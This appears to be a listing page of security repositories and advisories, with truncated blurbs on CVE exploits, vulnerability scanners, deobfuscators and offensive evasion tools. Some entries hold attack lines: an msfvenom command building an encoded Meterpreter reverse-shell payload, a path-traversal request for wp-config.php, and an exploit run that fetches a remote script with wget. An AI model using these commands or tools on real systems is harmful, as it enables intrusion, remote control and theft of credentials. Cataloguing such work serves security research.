ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 One liner to create/generate a payload for windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ One...

CVE-2025-8422

CVE-2025-8422 Propovoice targetfile Examples: python3 cve-2025-8422-exploit.py https://example.com [email protected] python3 cve-2025-8422-exploit.py https://example.com [email protected] /../../../wp-config.php...

react-vuln-scanner

React CVE-2025-55182 Vulnerability Scanner A bash script to scan your server for React applications vulnerable to CVE-2025-55182 — a critical remote code execution vulnerability CVSS 10.0 in React Server Components. ⚠️ About the Vulnerability On December 3, 2025, the React team disclosed a critica...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE Exploit This is a python implemetation of Spring4Shell, CVE-2022-22963, affecting services running Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Explo...

CVE-2022-34265

CVE-2022-34265 Vulnerability Summary This vulnerability is due to improper string processing when executing SQL for the arguments of the functions Trunc and Extract used for date data in Django. By specifying the request parameters as is in the kind argument of Trunc or the lookupname argument of...

rust_syscalls

RUSTSYSCALLS Single stub direct and indirect syscalling with runtime SSN resolving for windows. Features: One single line for all your syscalls Function name hashing at compilation time Direct or indirect sycalls x8664, WOW64 and x86 native support Designed to allow the implementation of custom S...

NimShellcodeFluctuation

NimShellcodeFluctuation Nim Port of the original repo: https://github.com/mgeeky/ShellcodeFluctuation All comments were copy pasted as they were from the original Repository as they really helped me to understand the technique. For more information about the technique itself I highly recommend...

cve-2025-2082-POV

CVE-2025-2082 – Function Pointer Overwrite PoV VCSEC-style This repository demonstrates a Proof of Vulnerability PoV simulating a critical memory corruption flaw inspired by CVE-2025-2082, discovered in Tesla's VCSEC Vehicle Controller Security component. The vulnerability allows an attacker to...

de4dot

Description de4dot is an open source GPLv3 .NET deobfuscator and unpacker written in C. It will try its best to restore a packed and obfuscated assembly to almost the original assembly. Most of the obfuscation can be completely restored eg. string encryption, but symbol renaming is impossible to...

CVE-2021-46365

CVE-2021-46365: Unsafe XML Parsing in Magnolia CMS An issue in the Export function of Magnolia v6.2.3 and below allows attackers to execute XML External Entity attacks via a crafted XLF file. Vendor Disclosure: The vendor's disclosure and fix for this vulnerability can be found here. Requirements...

RSC-Scanner-POC

Next.js RSC Source Code Disclosure Scanner A security scanner for detecting CVE-2025-55183 - Next.js React Server Components RSC source code disclosure vulnerability. Description This scanner detects source code disclosure in Next.js React Server Components RSC. A malicious HTTP request sent to a...

CVE-2026-100576

OpenClaw versions before 2026.8.1 contain a server-side request forgery vulnerability in browser wait predicates that allows attackers to bypass SSRF protections by reaching blocked destinations. Attackers can use the wait --fn function against an existing browser session to request loopback or...

EUVD-2026-87475

OpenClaw versions before 2026.8.1 contain a server-side request forgery vulnerability in browser wait predicates that allows attackers to bypass SSRF protections by reaching blocked destinations. Attackers can use the wait --fn function against an existing browser session to request loopback or...

D-Link - Remote Command Execution

A Remote Command Execution RCE vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file id: CVE-2021-45382 info: name: D-Link - Remote Command Execution author: king-alexander severity: critic...

CVE-2024-50492

🚨 CVE-2024-50492 - ScottCart 🔥 Exploit Script for ScottCart 🧑‍💻 By Nxploit – Khaled Alenazi 📌 Description The ScottCart plugin for WordPress versions ≤ 1.1 is vulnerable to Remote Code Execution RCE. This allows unauthenticated attackers to execute arbitrary PHP functions on the server through a...

hwbp4mw

This article was origininally for VX-Underground Black Mass Halloween Edition 2022. Hooking Engines: Multi-thread safe x86/x64 hwbp hooking engine c PAGEGUARD/hwbp Breakpoint Library c++20 hwbp Library DLL example c++20 Generic x64 user-land evasion technique utilizing debug registers:...

astaroth-deobfuscator

astaroth-deobfuscator IDA python script for deobfuscating Astaroth/Guildma injector DLL When trying to analyze the injector DLL from a recent Astaroth/Guildma campaign thanks to this diary from SANS ISC, I came across a really annoying attempt at obfuscation. A function which I called...

CVE-2019-11932-SupportApp

CVE-2019-11932-SupportApp This native code file aims to be complementary to the published Whatsapp GIF RCE exploit by Awakened , by calculating the system function address and ROP gadget address for different types of devices, which then can be used to successfully exploit the vulnerability...

PPLorer

PPLorer PPLorer is an IDA plugin that resolves PPL calls to the actual underlying PPL function. Installation 1. install ida-netnode somewhere IDA can import it 2. clone the repository and symlink /.idapro/plugins/pplorer.py to pplorer.py in the cloned repo Usage Preliminary Analysis 1. open an ID...

CVE-2026-41242

CVE-2026-41242 — protobuf.js Code Injection to RCE CVSS 9.4 Critical | Code Injection CWE-94 Overview protobuf.js npm: protobufjs versions ≤ 7.5.4 and ≤ 8.0.0 are vulnerable to arbitrary code execution via type names in the protobuf schema. The @protobufjs/codegen module concatenates type names...